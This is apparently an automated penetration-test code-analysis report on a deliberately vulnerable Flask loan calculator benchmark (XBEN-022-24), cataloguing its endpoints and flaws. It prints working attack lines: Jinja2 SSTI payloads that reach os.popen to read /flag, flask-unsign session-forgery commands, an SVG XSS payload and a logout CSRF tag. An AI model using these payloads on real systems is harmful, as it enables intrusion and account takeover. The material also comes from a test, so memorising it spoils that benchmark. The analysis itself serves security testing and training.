# Penetration Test - Code Analysis Report
## XBEN-022-24: Loan Calculator Web Application

---

# Penetration Test Scope & Boundaries

**Primary Directive:** This analysis is strictly limited to the **network-accessible attack surface** of the application. All subsequent tasks must adhere to this scope. Before reporting any finding (e.g., an entry point, a vulnerability sink), it has been verified to meet the "In-Scope" criteria.

### In-Scope: Network-Reachable Components
A component is considered **in-scope** if its execution can be initiated, directly or indirectly, by a network request that the deployed application server is capable of receiving. This includes:
- Publicly exposed web pages and API endpoints accessible via HTTP on port 80
- Endpoints requiring authentication via session-based login mechanisms
- Static file serving through Apache HTTP server
- All server-side template rendering accessible through web routes
- File upload functionality accessible via HTTP POST requests

### Out-of-Scope: Locally Executable Only
A component is **out-of-scope** if it **cannot** be invoked through the running application's network interface and requires an execution context completely external to the application's request-response cycle. This includes:
- Command-line interface tools (e.g., `python run.py` development server)
- Database migration scripts executed via CLI
- CI/CD pipeline scripts and Makefile targets
- Build-time Docker operations (Dockerfile build steps)
- Local development utilities and test harnesses

---

## 1. Executive Summary

This Flask-based loan calculator web application (XBEN-022-24) presents a **CRITICAL security risk** with multiple severe vulnerabilities that enable complete system compromise. The application is a deliberately vulnerable security benchmark challenge with intentional weaknesses across all security domains.

The most severe finding is a **Server-Side Template Injection (SSTI) vulnerability** in the `/total_loan_payments` endpoint that allows remote code execution through the `principal` parameter. This vulnerability can be directly exploited to read the CTF flag stored at `/flag` in the container filesystem. Additionally, the application stores all passwords in plaintext, uses a hardcoded weak session secret (`'your_secret_key'`), transmits all data over unencrypted HTTP, and lacks fundamental security controls including CSRF protection, rate limiting, and security headers.

The architectural security posture reveals a traditional monolithic MVC application deployed via Apache/mod_wsgi with MySQL 5.7, exposing 9 HTTP endpoints and 1 static file serving path. The trust boundary analysis shows no defense-in-depth: the application relies solely on session-based authentication with no input validation, no authorization controls, and wildcard CORS policy (`Access-Control-Allow-Origin: *`) allowing cross-site attacks. Default credentials (`test:test`) provide immediate unauthorized access. This application demonstrates catastrophic security failures across authentication, data protection, and injection prevention.

**Risk Assessment:** CRITICAL - This application is suitable only for security training and CTF challenges. The SSTI vulnerability provides direct path to flag capture, while the weak session secret enables session forgery for privilege escalation attacks.

---

## 2. Architecture & Technology Stack

### Framework & Language

The application is built on **Python Flask 3.0.3**, a lightweight WSGI web framework, with Flask-SQLAlchemy 3.1.1 providing the ORM layer. The entire application is written in Python (primary language version: 3.12.9 on host, unspecified in container). Server-side templating uses **Jinja2** (bundled with Flask) with auto-escaping enabled by default for `.html` files, though this protection is circumvented by dangerous use of `render_template_string()` with user input.

The frontend is minimal and traditional: server-side rendered HTML5 templates with **jQuery 3.6.0** and **Bootstrap 5.3.0-alpha1** for basic client-side interactivity and styling. There is no modern JavaScript framework (React, Vue, Angular), and the application follows a traditional request-response pattern with minimal AJAX usage (only one AJAX endpoint for loan calculations). This simplicity reduces client-side attack surface but concentrates all security responsibility on the server-side, where critical failures exist.

**Security Implications:** Flask's lightweight nature provides no built-in security middleware beyond basic session management. The application fails to implement any Flask security extensions (flask-talisman for headers, flask-limiter for rate limiting, flask-wtf for CSRF protection). The dependency file (`/app/website/requirements.txt`) contains only three packages: Flask, Flask-SQLAlchemy, and PyMySQL, with zero security-focused dependencies. This minimalist approach leaves all security implementation to the developer, who has systematically failed to implement even basic protections.

### Architectural Pattern

The application implements a **monolithic MVC (Model-View-Controller) architecture** with server-side rendering. The component structure is organized as:

```
/var/www/loan_calculator/
├── ssti_include_loan_calculator.wsgi  (WSGI entry point)
├── run.py                             (Flask development server - out of scope)
└── app/
    ├── __init__.py                    (App initialization, DB config, default user)
    ├── routes.py                      (Route handlers - 10 endpoints)
    ├── models.py                      (User model - plaintext password field)
    ├── db.py                          (SQLAlchemy database instance)
    └── static/
        ├── templates/                 (6 Jinja2 templates)
        ├── css/, js/, images/         (Static assets)
```

The deployment architecture uses a **2-tier containerized microservices pattern** via Docker Compose with two services:

1. **loan_calculator** (application tier): Debian bullseye-slim base with Apache2, mod_wsgi, running as `www-data` user, exposing dynamic port 80
2. **db** (data tier): MySQL 5.7 on linux/amd64, port 3306 exposed only internally via Docker network (not to host)

**Trust Boundary Analysis:** The application has **three critical trust boundaries with severe security gaps**:

**External Boundary (Internet → Apache):**
- Entry point: Apache HTTP server on port 80 (HTTP only, no HTTPS)
- **CRITICAL FLAW:** No TLS/SSL termination - all credentials, session cookies, and sensitive data transmitted in plaintext
- No reverse proxy, no Web Application Firewall (WAF), no DDoS protection
- Wildcard CORS policy (`Access-Control-Allow-Origin: *`) allows any origin to make requests
- Directory indexing enabled (`Options Indexes`), exposing static file structure
- **Trust Decision:** Application trusts ALL incoming requests with zero validation at perimeter

**Application Boundary (Apache → Flask):**
- Apache mod_wsgi forwards all requests to Flask WSGI application
- Session-based authentication using Flask session cookies (client-side signed cookies)
- **CRITICAL FLAW:** Session secret is hardcoded as `'your_secret_key'` (line 8 of `__init__.py`), enabling trivial session forgery
- Authentication check pattern: `session.get('user_id')` with redirect to `/login` if absent
- No authentication middleware/decorators - manual session checks in each protected route (code duplication vulnerability)
- No authorization layer - any authenticated user can access all authenticated endpoints
- **Trust Decision:** Application trusts session cookies signed with weak secret; no verification of user permissions beyond binary authenticated/unauthenticated state

**Data Boundary (Flask → MySQL):**
- Internal Docker network communication on port 3306
- Connection string with hardcoded root credentials: `mysql+pymysql://root:loan_calculator@db/database` (line 11 of `__init__.py`)
- SQLAlchemy ORM provides parameterized queries, mitigating SQL injection
- **CRITICAL FLAW:** Passwords stored in plaintext - direct password comparison `filter_by(username=username, password=password)` at line 29 of `routes.py`
- **Trust Decision:** Application trusts database completely; database trusts application with root access (principle of least privilege violated)

**Security Posture:** This architecture demonstrates **zero defense-in-depth**. There is no security layering: if an attacker breaches the first boundary (trivial via SSTI or session forgery), they gain unrestricted access to all data and system resources. The trust model assumes perfect perimeter security while providing no perimeter security controls.

### Critical Security Components

**Security Middleware Status: MINIMAL AND BROKEN**

The application implements only one middleware hook:

**File:** `/app/website/app/routes.py` (Lines 9-15)
```python
@app.after_request
def add_header(request):
    request.headers['Cache-Control'] = 'no-cache, no-store, must-revalidate'
    request.headers['Pragma'] = 'no-cache'
    request.headers['Expires'] = '0'
    request.headers['Cache-Control'] = 'public, max-age=0'  # Contradicts line 11!
    return request
```

**CRITICAL BUG:** This code modifies `request.headers` instead of `response.headers`, making it non-functional. Additionally, Cache-Control is set twice with contradictory values (`no-cache, no-store, must-revalidate` vs `public, max-age=0`).

**Missing Critical Security Components:**

**Rate Limiting: NOT IMPLEMENTED**
- No flask-limiter or similar library
- Login endpoint (`/login`) vulnerable to unlimited brute force attacks
- Default credentials (`test:test`) can be discovered in seconds
- No request throttling on any endpoint
- **Attack Vector:** Attacker can attempt 1000+ login attempts per second with no consequences

**CORS Configuration: CRITICALLY INSECURE**
- **File:** `/app/ssti_include_loan_calculator-httpd.conf` (Line 11)
- Apache configuration: `Header set Access-Control-Allow-Origin "*"`
- **Impact:** Complete CORS bypass - any malicious website can make authenticated requests to the application, steal user data, and perform CSRF attacks
- No CORS preflight handling, no credential restrictions

**Security Headers: COMPLETELY ABSENT**
The application sets ZERO security headers. Missing headers and their consequences:
- ❌ `Content-Security-Policy` → No XSS mitigation, inline scripts allowed
- ❌ `X-Frame-Options` → Application can be embedded in iframes for clickjacking attacks
- ❌ `X-Content-Type-Options: nosniff` → Browsers can MIME-sniff responses, enabling content type confusion attacks
- ❌ `Strict-Transport-Security` → No HTTPS enforcement (moot since no HTTPS configured)
- ❌ `X-XSS-Protection` → No legacy browser XSS filter
- ❌ `Referrer-Policy` → Sensitive URLs leaked via Referer header
- ❌ `Permissions-Policy` → No restriction on browser features (camera, microphone, geolocation)

**Input Validation: NOT IMPLEMENTED**
- No input sanitization middleware
- No validation library (flask-wtf, marshmallow, pydantic)
- All user inputs processed raw:
  - Login credentials: Direct form field retrieval (lines 27-28 of `routes.py`)
  - Profile updates: Direct assignment with only type coercion (lines 68-73, 92-97)
  - File uploads: Filename used directly with minimal path traversal check (lines 106-112)
  - Query parameters: Template injection via `principal=request.args.get('principal', type=str)` (line 155)
- **Specific Vulnerability:** The `/total_loan_payments` endpoint accepts `principal` as `type=str` instead of `float`, enabling template injection payload delivery

**CSRF Protection: NOT IMPLEMENTED**
- No CSRF tokens on any form
- All state-changing operations vulnerable:
  - Login (POST `/login`) - Session fixation possible
  - Profile updates (POST `/profile`, `/update_profile`) - Cross-site profile modification
  - Logout (GET `/logout`) - Force logout via CSRF (incorrect HTTP method)
- **Attack Scenario:** Attacker hosts malicious page with hidden form submitting to `/update_profile`, victim visits while authenticated, attacker modifies victim's profile data including email address for account takeover

**Authentication & Session Security: CATASTROPHIC FAILURES**

Session Configuration (**File:** `/app/website/app/__init__.py`, Line 8):
```python
app.secret_key = 'your_secret_key'  # Change this to a secure secret key
```

**Impact Analysis:**
- Flask session cookies are client-side signed cookies using HMAC-SHA1 with the secret key
- The secret `'your_secret_key'` is a well-known placeholder value
- Attacker can forge arbitrary session cookies with any `user_id` value
- **Exploitation:** Using tools like `flask-unsign`, attacker can:
  1. Decode existing session: `flask-unsign --decode --cookie <cookie> --secret 'your_secret_key'`
  2. Forge admin session: `flask-unsign --sign --cookie "{'user_id': 1}" --secret 'your_secret_key'`
  3. Access any user's data via Insecure Direct Object Reference (IDOR)

Session Cookie Flags - **NO EXPLICIT CONFIGURATION:**
- `HttpOnly`: True (Flask default) ✓ - Protects from JavaScript access
- `Secure`: False (NOT configured) ❌ - Cookies sent over HTTP, vulnerable to network sniffing
- `SameSite`: None (NOT configured) ❌ - Vulnerable to CSRF attacks
- **File Path for Remediation:** Should be configured in `/app/website/app/__init__.py` with:
  ```python
  app.config['SESSION_COOKIE_SECURE'] = True  # Missing
  app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'  # Missing
  ```

**Default Credentials: HARDCODED**
- **File:** `/app/website/app/__init__.py` (Lines 19-35)
- Username: `test`, Password: `test`
- Account automatically created on application startup if not exists
- **Public Knowledge:** Credentials visible in source code, committed to version control
- **No Mechanism to Disable:** Default account cannot be removed without code modification

---

## 3. Authentication & Authorization Deep Dive

### Authentication Mechanisms and Security Properties

The application implements **session-based authentication** using Flask's default client-side signed cookie mechanism. The authentication flow contains multiple critical vulnerabilities that enable trivial bypass.

**Authentication Endpoints - Complete Catalog:**

**1. Login (Authentication):**
- **Route:** `POST /login`
- **File:** `/app/website/app/routes.py` (Lines 24-38)
- **Functionality:** Username/password verification against database, session creation on success

**Code:**
```python
@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        user = User.query.filter_by(username=username, password=password).first()
        if user:
            session['user_id'] = user.id
            return redirect(url_for('home'))
        else:
            return render_template('templates/login.html', error='Invalid username or password')
    return render_template('templates/login.html')
```

**CRITICAL VULNERABILITIES:**
- **Line 29:** `filter_by(username=username, password=password)` - Direct plaintext password comparison
- **Password Storage:** User model (`/app/website/app/models.py`, line 8) defines password as `db.Column(db.String(50), nullable=False)` with NO hashing
- **No Password Hashing Libraries:** Grep search confirms zero usage of bcrypt, argon2, PBKDF2, scrypt, or werkzeug.security
- **No Rate Limiting:** Unlimited login attempts allowed
- **No Account Lockout:** No mechanism to prevent brute force attacks
- **No MFA/2FA:** Single factor authentication only
- **CSRF Vulnerable:** No token validation on POST request
- **Session Fixation Risk:** No session regeneration after successful login (session ID remains same pre/post authentication)

**Security Properties:**
- ❌ Confidentiality: Passwords stored in plaintext in database
- ❌ Integrity: No protection against credential stuffing or brute force
- ❌ Availability: No account lockout or throttling
- ❌ Non-repudiation: No audit logging of authentication events

**2. Logout (Session Destruction):**
- **Route:** `GET /logout`
- **File:** `/app/website/app/routes.py` (Lines 41-45)

**Code:**
```python
@app.route('/logout')
def logout():
    session.pop('user_id', None)
    return redirect(url_for('login'))
```

**CRITICAL VULNERABILITIES:**
- **HTTP Method:** Uses GET instead of POST, allowing CSRF logout attacks via `<img src="/logout">`
- **Client-Side Only:** Only clears client-side session cookie, no server-side session invalidation
- **Session ID Reuse:** Session ID not blacklisted; if cookie restored, session reactivates

**3. Password Reset:**
- **Status:** NOT IMPLEMENTED
- **Impact:** Users cannot recover compromised accounts; no self-service password reset flow

**4. Token Refresh:**
- **Status:** NOT APPLICABLE (session-based, not token-based)

**5. API Key Authentication:**
- **Status:** NOT IMPLEMENTED
- **Impact:** No programmatic access control for API endpoints

**6. SSO/OAuth/OIDC:**
- **Status:** NOT IMPLEMENTED
- **Impact:** No enterprise authentication integration

### Session Management and Token Security

**Session Cookie Mechanism:**
Flask uses **client-side signed cookies** with the following security model:
- Session data serialized and signed using HMAC-SHA1 with `app.secret_key`
- Cookie format: `<base64_payload>.<timestamp>.<signature>`
- Data stored client-side (not server-side), reducing server memory but increasing attack surface
- No built-in session expiration

**Session Cookie Flag Configuration Analysis:**

**CRITICAL FINDING:** No explicit session cookie configuration exists in the codebase. Relying on Flask defaults:

**File:** `/app/website/app/__init__.py` - Expected configuration location (MISSING):
```python
# MISSING SECURITY CONFIGURATIONS:
# app.config['SESSION_COOKIE_SECURE'] = True      # Not configured - cookies sent over HTTP
# app.config['SESSION_COOKIE_HTTPONLY'] = True   # Default is True ✓
# app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'  # Not configured - CSRF vulnerable
# app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(minutes=30)  # Not configured - sessions never expire
```

**Actual Cookie Behavior:**
- **HttpOnly:** True (Flask default) ✓ - Prevents JavaScript access via `document.cookie`
- **Secure:** False ❌ - **CRITICAL:** Cookies transmitted over unencrypted HTTP, vulnerable to network sniffing
- **SameSite:** Not set ❌ - **CRITICAL:** Enables CSRF attacks from cross-site contexts
- **Domain:** Not set (defaults to current domain)
- **Path:** `/` (all paths)
- **Expiration:** Session cookie (deleted when browser closes, but no server-side timeout)

**Session Secret Security:**
- **File:** `/app/website/app/__init__.py` (Line 8)
- **Secret:** `'your_secret_key'` - Literal placeholder string never changed
- **Entropy:** ~14 characters, dictionary word entropy (~92 bits theoretical, but predictable)
- **Source of Randomness:** None - hardcoded string
- **Rotation:** Never (no mechanism exists)

**Session Forgery Attack Path:**
1. Attacker knows secret: `'your_secret_key'` (public in source code)
2. Attacker uses `flask-unsign` or custom script to forge session:
   ```bash
   flask-unsign --sign --cookie "{'user_id': 1}" --secret 'your_secret_key'
   ```
3. Attacker sets forged cookie in browser
4. Attacker accesses application as user ID 1 (likely admin/first user)

**Session Validation Pattern:**
All protected routes use the same pattern (**File:** `/app/website/app/routes.py`):

```python
user_id = session.get('user_id')
if user_id:
    user = User.query.get(user_id)
    # ... process request ...
else:
    return redirect(url_for('login'))
```

**Used in endpoints:** Lines 51 (`/home`), 63 (`/profile`), 87 (`/update_profile`), 139 (`/loan_details`), 152 (`/total_loan_payments`)

**Vulnerabilities:**
- No session expiration check
- No session token rotation
- No concurrent session limit
- No device binding
- No IP address validation
- **IDOR Vulnerability:** With forged session containing arbitrary `user_id`, attacker can access any user's data

### Authorization Model and Bypass Scenarios

**Authorization Status: NOT IMPLEMENTED**

The application has **binary access control**: unauthenticated (public) vs authenticated (any logged-in user). There is no:
- Role-Based Access Control (RBAC)
- Attribute-Based Access Control (ABAC)
- Permission system
- Admin vs user distinction
- Resource ownership validation beyond session user_id

**Grep Search Results:**
- No matches for: `role`, `Role`, `admin`, `Admin`, `permission`, `Permission`, `authorize`, `can_access`
- User model contains only authentication fields, no authorization attributes

**Authorization Bypass Scenario #1: Horizontal Privilege Escalation via Session Forgery**

**Attack Path:**
1. Attacker registers account (user_id: 10)
2. Attacker forges session cookie with `user_id: 1` using weak secret
3. Attacker accesses `/profile` with forged session
4. Application queries: `User.query.get(1)` (victim's user_id)
5. Attacker views and modifies victim's profile data

**Affected Endpoints:**
- `/home` - View victim's loan status
- `/profile` - View/modify victim's personal information
- `/update_profile` - Modify victim's profile and upload malicious files to their account
- `/loan_details` - View victim's financial information

**No Protection:** Application never validates that `session['user_id']` matches the resource owner.

**Authorization Bypass Scenario #2: Mass Assignment via Profile Update**

**File:** `/app/website/app/routes.py` (Lines 68-73)
```python
user.name = request.form['name']
user.lastname = request.form['lastname']
user.email = request.form['email']
user.loan_amount = float(request.form['loan_amount'])
user.loan_term_months = int(request.form['loan_term_months'])
user.monthly_payment = float(request.form['monthly_payment'])
```

**Attack:** Attacker could attempt to modify additional fields via mass assignment (e.g., adding `user_id` to form data), though Python/Flask doesn't automatically bind form fields to model attributes, mitigating this specific vector.

### Multi-tenancy Security Implementation

**Status: NOT APPLICABLE** - This is a single-tenant application with no multi-tenancy architecture.

### SSO/OAuth/OIDC Flows

**Status: NOT IMPLEMENTED**

**Analysis:** Comprehensive search found no:
- OAuth client libraries (requests-oauthlib, authlib, etc.)
- OIDC discovery endpoints
- SAML integration
- SSO configuration
- JWT handling (no pyjwt, python-jose libraries)

**Missing Components:**
- No callback endpoints for OAuth flows
- No state parameter validation (not applicable)
- No nonce parameter validation (not applicable)
- No token exchange implementation
- No ID token validation

---

## 4. Data Security & Storage

### Database Security

**Database Configuration Analysis:**

**Connection String - CRITICAL VULNERABILITY:**
- **File:** `/app/website/app/__init__.py` (Line 11)
- **String:** `'mysql+pymysql://root:loan_calculator@db/database'`

**Security Violations:**
1. **Root User Access:** Application connects as MySQL root user, violating principle of least privilege
2. **Hardcoded Credentials:** Password `loan_calculator` embedded in source code
3. **Committed to VCS:** Credentials visible in version control history
4. **No Environment Variables:** No use of `os.environ.get()` or `.env` file loading for connection string
5. **Weak Password:** Dictionary word, no complexity requirements

**Database Server Configuration:**
- **File:** `/mysql/Dockerfile` (Lines 4-7)
- **Version:** MySQL 5.7 (EOL: October 2023 - no longer receiving security updates)
- **Root Password:** Set via `ENV MYSQL_ROOT_PASSWORD=loan_calculator` (visible in image layers)

**Encryption Status:**
- **At Rest:** NOT ENABLED - No MySQL Transparent Data Encryption (TDE) configuration
- **In Transit:** NOT ENABLED - No SSL/TLS for database connections; connection string lacks `ssl_mode` parameter
- **Impact:** All database traffic between Flask and MySQL travels unencrypted over Docker network; all data on disk stored in plaintext

**Access Controls:**
- No dedicated application user (uses root)
- No query-level permissions
- No separation of read vs write operations
- No connection pooling security

**Query Safety - PARTIAL PROTECTION:**
All database queries use SQLAlchemy ORM with parameterized queries, providing automatic SQL injection protection:

**Examples:**
```python
User.query.filter_by(username=username, password=password).first()  # Line 29
User.query.get(user_id)  # Lines 53, 65, 89, 141, 154
```

**Protection:** SQLAlchemy generates parameterized SQL preventing injection attacks.
**Limitation:** Parameterization is irrelevant when passwords are stored in plaintext.

### Data Flow Security

**Sensitive Data Trace - User Credentials:**

**Data Flow:**
```
1. User Input (HTML Form) 
   ↓ [/app/website/app/static/templates/login.html, lines 19-24]
2. HTTP POST (PLAINTEXT over HTTP) 
   ↓ [No TLS/SSL, transmitted unencrypted]
3. Flask Route Handler 
   ↓ [/app/website/app/routes.py, lines 27-28: request.form extraction]
4. Database Query (PLAINTEXT comparison) 
   ↓ [Line 29: filter_by(username=username, password=password)]
5. Database Storage (PLAINTEXT) 
   ↓ [/app/website/app/models.py, line 8: String(50) field]
6. Session Creation 
   ↓ [Line 32: session['user_id'] = user.id]
7. Client Cookie (Signed but not encrypted) 
   ↓ [Client-side storage with weak secret]
```

**Protection Mechanisms:** NONE at any stage

**Sensitive Data Trace - PII (Name, Email, Financial Data):**

**File:** `/app/website/app/routes.py` (Lines 66-74, 90-97)
```python
# Profile update - no validation, no sanitization
user.name = request.form['name']              # PII: First name
user.lastname = request.form['lastname']      # PII: Last name
user.email = request.form['email']            # PII: Email address (no format validation)
user.loan_amount = float(request.form['loan_amount'])        # Financial data
user.loan_term_months = int(request.form['loan_term_months'])  # Financial data
user.monthly_payment = float(request.form['monthly_payment'])   # Financial data
db.session.commit()
```

**Protection Mechanisms:**
- ❌ No input validation (email format not checked)
- ❌ No length limits (beyond database column constraints)
- ⚠️ Type coercion only (`float()`, `int()`) - prevents some injection but no business logic validation
- ❌ No data masking in logs
- ❌ No encryption before storage

**Data Protection Gaps:**
1. **Transport Security:** All data transmitted over HTTP in plaintext
2. **Storage Security:** All data stored in database in plaintext
3. **Access Control:** No field-level encryption or tokenization
4. **Audit Trail:** No logging of data access or modifications

### Multi-tenant Data Isolation

**Status: NOT APPLICABLE** - Single-tenant application architecture.

---

## 5. Attack Surface Analysis

### External Entry Points - Network-Accessible HTTP Endpoints

**Total Network-Accessible Entry Points:** 9 HTTP endpoints + 1 static directory alias

**PUBLIC ENDPOINTS (No Authentication Required):**

**Endpoint 1: Root Redirect**
- **Route:** `GET /`
- **File:** `/app/website/app/routes.py:19-21`
- **Input Parameters:** None
- **Functionality:** Redirects to `/login`
- **Security Notes:** Minimal attack surface; simple redirect function
- **Scope:** IN-SCOPE (Network-accessible)

**Endpoint 2: Login Page & Authentication Handler**
- **Route:** `GET|POST /login`
- **File:** `/app/website/app/routes.py:24-38`
- **Input Parameters:**
  - `username` (POST form data, string, no validation)
  - `password` (POST form data, string, plaintext comparison)
- **Attack Surface:**
  - ❌ No rate limiting - unlimited brute force attempts
  - ❌ Plaintext password comparison enabling credential stuffing
  - ❌ Default credentials (`test:test`) provide immediate access
  - ❌ No CSRF protection on POST request
  - ⚠️ SQLAlchemy ORM mitigates SQL injection
  - ❌ User enumeration possible (different responses for invalid username vs invalid password)
- **Scope:** IN-SCOPE (Network-accessible)
- **Exploitation Priority:** HIGH - Credential brute force, default credential access

**AUTHENTICATED ENDPOINTS (Session Required):**

**Endpoint 3: Logout**
- **Route:** `GET /logout`
- **File:** `/app/website/app/routes.py:41-45`
- **Authentication:** Session-based (`session.get('user_id')`)
- **Attack Surface:**
  - ❌ Uses GET method - CSRF logout possible via `<img src="/logout">`
  - ❌ No CSRF token validation
  - ⚠️ Client-side session clearing only (no server-side invalidation)
- **Scope:** IN-SCOPE (Network-accessible)
- **Exploitation Priority:** LOW - Minor inconvenience attack

**Endpoint 4: Home Dashboard**
- **Route:** `GET /home`
- **File:** `/app/website/app/routes.py:48-57`
- **Authentication:** Session-based (line 51)
- **Input Parameters:** None (reads from session)
- **Attack Surface:**
  - ⚠️ IDOR via session forgery (weak secret enables `user_id` manipulation)
  - ❌ No authorization check beyond authentication
- **Scope:** IN-SCOPE (Network-accessible)
- **Exploitation Priority:** MEDIUM - Data disclosure via IDOR

**Endpoint 5: Profile View & Update (No File Upload)**
- **Route:** `GET|POST /profile`
- **File:** `/app/website/app/routes.py:60-81`
- **Authentication:** Session-based (line 63)
- **Input Parameters (POST):**
  - `name`, `lastname`, `email` (strings, no validation)
  - `loan_amount`, `monthly_payment` (floats, no range validation)
  - `loan_term_months` (integer, no range validation)
- **Attack Surface:**
  - ❌ No input validation - can set arbitrary values (e.g., negative loan amounts)
  - ❌ No CSRF protection - cross-site profile modification
  - ⚠️ Stored XSS potential in profile fields (mitigated by Jinja2 auto-escaping in profile.html)
  - ⚠️ IDOR via session forgery
- **Scope:** IN-SCOPE (Network-accessible)
- **Exploitation Priority:** MEDIUM - Data integrity, CSRF

**Endpoint 6: Profile Update with File Upload** ⚠️ **CRITICAL**
- **Route:** `GET|POST /update_profile`
- **File:** `/app/website/app/routes.py:84-119`
- **Authentication:** Session-based (line 87)
- **Input Parameters (POST):**
  - All profile fields (same as Endpoint 5)
  - `image_profile` (file upload, multipart/form-data)
- **Attack Surface:**
  - **File Upload Vulnerabilities:**
    - ✓ Path traversal protection (lines 106-109: `os.path.commonprefix()` validation)
    - ❌ NO file type validation - arbitrary file extensions accepted (.php, .jsp, .html, .svg, .exe)
    - ❌ NO MIME type verification
    - ❌ NO file size limits
    - ❌ Filename not sanitized (special characters allowed)
    - ❌ No malware scanning
  - Upload directory: `/var/www/loan_calculator/app/static/images/`
  - Uploaded files accessible via: `/static/images/<filename>`
  - **Exploitation Vectors:**
    - Upload malicious SVG with embedded JavaScript: `<svg onload="alert(document.cookie)">`
    - Upload HTML file with XSS payload (if static directory serves as text/html)
    - File overwrite by uploading with existing filename
- **Code (Lines 106-112):**
```python
safe_dir = '/var/www/loan_calculator/app/static/images/'
final_path = os.path.realpath(os.path.join(safe_dir, image_profile.filename))

if os.path.commonprefix((final_path, safe_dir)) != safe_dir: 
    return Response('Invalid path.', status=400)

image_profile.save(final_path)
user.image_profile_filename = image_profile.filename
```
- **Scope:** IN-SCOPE (Network-accessible)
- **Exploitation Priority:** HIGH - Malicious file upload, potential XSS

**Endpoint 7: Error Page with Template Inclusion** ⚠️ **CRITICAL**
- **Route:** `GET /error`
- **File:** `/app/website/app/routes.py:122-133`
- **Template:** `/app/website/app/static/templates/error.html:25-28`
- **Authentication:** NONE (publicly accessible!)
- **Input Parameters (GET query string):**
  - `message` (string, reflected in page - XSS potential mitigated by Jinja2 auto-escaping)
  - `error_type` (string, controls template inclusion path)
- **Attack Surface:**
  - **Template Inclusion Vulnerability:**
    - User controls which template is included via `error_type` parameter
    - ✓ Path traversal protection (lines 127-131: `os.path.commonprefix()` validation)
    - ❌ Can include ANY file within `/var/www/loan_calculator/app/static/` directory
    - Template code: `{% include error_type %}` (line 27 of error.html)
  - **Exploitation Vectors:**
    - Local File Inclusion: `/error?error_type=templates/profile.html` - reads other templates
    - Information disclosure: Include uploaded files, static assets
    - If attacker uploads malicious template via `/update_profile`, can trigger execution via `/error?error_type=images/evil.html`
- **Code (Lines 124-133):**
```python
error_message = request.args.get('message', 'An error occurred.')
error_type = 'templates/' + request.args.get('error_type', None)

safe_dir = '/var/www/loan_calculator/app/static/'
final_path = os.path.realpath(os.path.join(safe_dir, error_type))

if os.path.commonprefix((final_path, safe_dir)) != safe_dir: 
    return Response('Trying to load a template located ouside the static directory.', status=400)

return render_template('templates/error.html', error_message=error_message, error_type=final_path[len(safe_dir):])
```
- **Scope:** IN-SCOPE (Network-accessible)
- **Exploitation Priority:** HIGH - Template inclusion, information disclosure

**Endpoint 8: Loan Details**
- **Route:** `GET /loan_details`
- **File:** `/app/website/app/routes.py:136-146`
- **Authentication:** Session-based (line 139)
- **Input Parameters:** None (reads from session)
- **Attack Surface:**
  - ⚠️ IDOR via session forgery
  - Client-side JavaScript makes AJAX call to `/total_loan_payments` (see Endpoint 9)
- **Scope:** IN-SCOPE (Network-accessible)
- **Exploitation Priority:** LOW - Information disclosure only

**Endpoint 9: Total Loan Payments API** 🚨 **CRITICAL - SSTI VULNERABILITY**
- **Route:** `GET /total_loan_payments`
- **File:** `/app/website/app/routes.py:149-172`
- **Authentication:** Session-based (line 152)
- **Input Parameters (GET query string):**
  - `principal` (type=**str** ⚠️ - accepted as STRING, not validated)
  - `payment` (type=float)
  - `term` (type=int)
- **Attack Surface:**
  - 🚨 **SERVER-SIDE TEMPLATE INJECTION (SSTI):**
    - **Line 168:** `render_template_string(json_template, payment=payment, term=term, principal=principal)`
    - `principal` parameter directly embedded in f-string template (line 163)
    - Jinja2 evaluates user-controlled template content
    - **REMOTE CODE EXECUTION (RCE) POSSIBLE**
  - **Exploitation:**
```
GET /total_loan_payments?principal={{7*7}}&payment=100&term=12
Response: "loan_principal": "49"  (SSTI confirmed)

GET /total_loan_payments?principal={{config}}&payment=100&term=12
Response: Flask configuration disclosure (including secret_key)

GET /total_loan_payments?principal={{request.application.__globals__.__builtins__.__import__('os').popen('cat /flag').read()}}&payment=100&term=12
Response: Flag content from /flag file
```
- **Code (Lines 155-168):**
```python
principal = request.args.get('principal', type=str)  # STRING TYPE - NO VALIDATION!
payment = request.args.get('payment', type=float)
term = request.args.get('term', type=int)

if principal is None or payment is None or term is None:
    return Response('Missing principal, payment or term parameters', status=400)

json_template = f"""
{{ "loan_principal": "{{{{ principal }}}}" ,"monthly_payment": "{{{{ payment }}}}", "loan_term_amount": "{{{{ term }}}}", "total_loan_payments": "{{{{ payment*term }}}}" }}
"""

return render_template_string(json_template, payment=payment, term=term, principal=principal, content_type='application/json')
```
- **Scope:** IN-SCOPE (Network-accessible)
- **Exploitation Priority:** 🚨 **CRITICAL** - Direct path to flag via RCE

**Static File Serving:**

**Endpoint 10: Static Assets with Directory Listing**
- **Route:** `/static/*`
- **Configuration:** `/app/ssti_include_loan_calculator-httpd.conf:20-26`
- **Physical Path:** `/var/www/loan_calculator/app/static/`
- **Authentication:** None (public access)
- **Attack Surface:**
  - ❌ Directory listing enabled: `Options Indexes FollowSymLinks` (line 22)
  - ❌ `IndexOptions ShowForbidden` - exposes forbidden files
  - Information disclosure: View directory structure, uploaded files, template source code
  - Accessible files: CSS, JS, images, templates (via `/static/templates/*.html`)
- **Scope:** IN-SCOPE (Network-accessible)
- **Exploitation Priority:** LOW - Information disclosure

**API Schema Files:**
- **Status:** NONE FOUND
- No OpenAPI/Swagger specifications
- No GraphQL schemas
- No JSON Schema files
- Documentation: Only benchmark.json (metadata, not API schema)

### Internal Service Communication

**Service Architecture:**
- **loan_calculator** (Flask app) ↔️ **db** (MySQL 5.7)
- Communication: Internal Docker network (bridge mode)
- Protocol: MySQL protocol on port 3306 (exposed to loan_calculator only, not host)

**Trust Relationship:**
- Application trusts database completely (no input validation on query results)
- Database trusts application with root credentials (no least privilege)
- No mutual TLS authentication
- No network segmentation beyond Docker default isolation

**Security Assumptions:**
- Docker network assumed secure (no encryption of database traffic)
- No authentication between containers beyond database credentials
- Shared network namespace enables network sniffing if either container compromised

### Input Validation Patterns

**Status: MINIMAL AND INCONSISTENT**

**Validation Present:**
1. **Path Traversal Protection** (2 instances):
   - **File upload** (`/update_profile`, lines 106-109): `os.path.realpath()` + `os.path.commonprefix()`
   - **Template inclusion** (`/error`, lines 127-131): Same validation pattern
   - **Effectiveness:** Prevents directory traversal attacks outside safe directory ✓

2. **Type Coercion** (not true validation):
   - `float(request.form['loan_amount'])` - Raises exception if not convertible, not caught
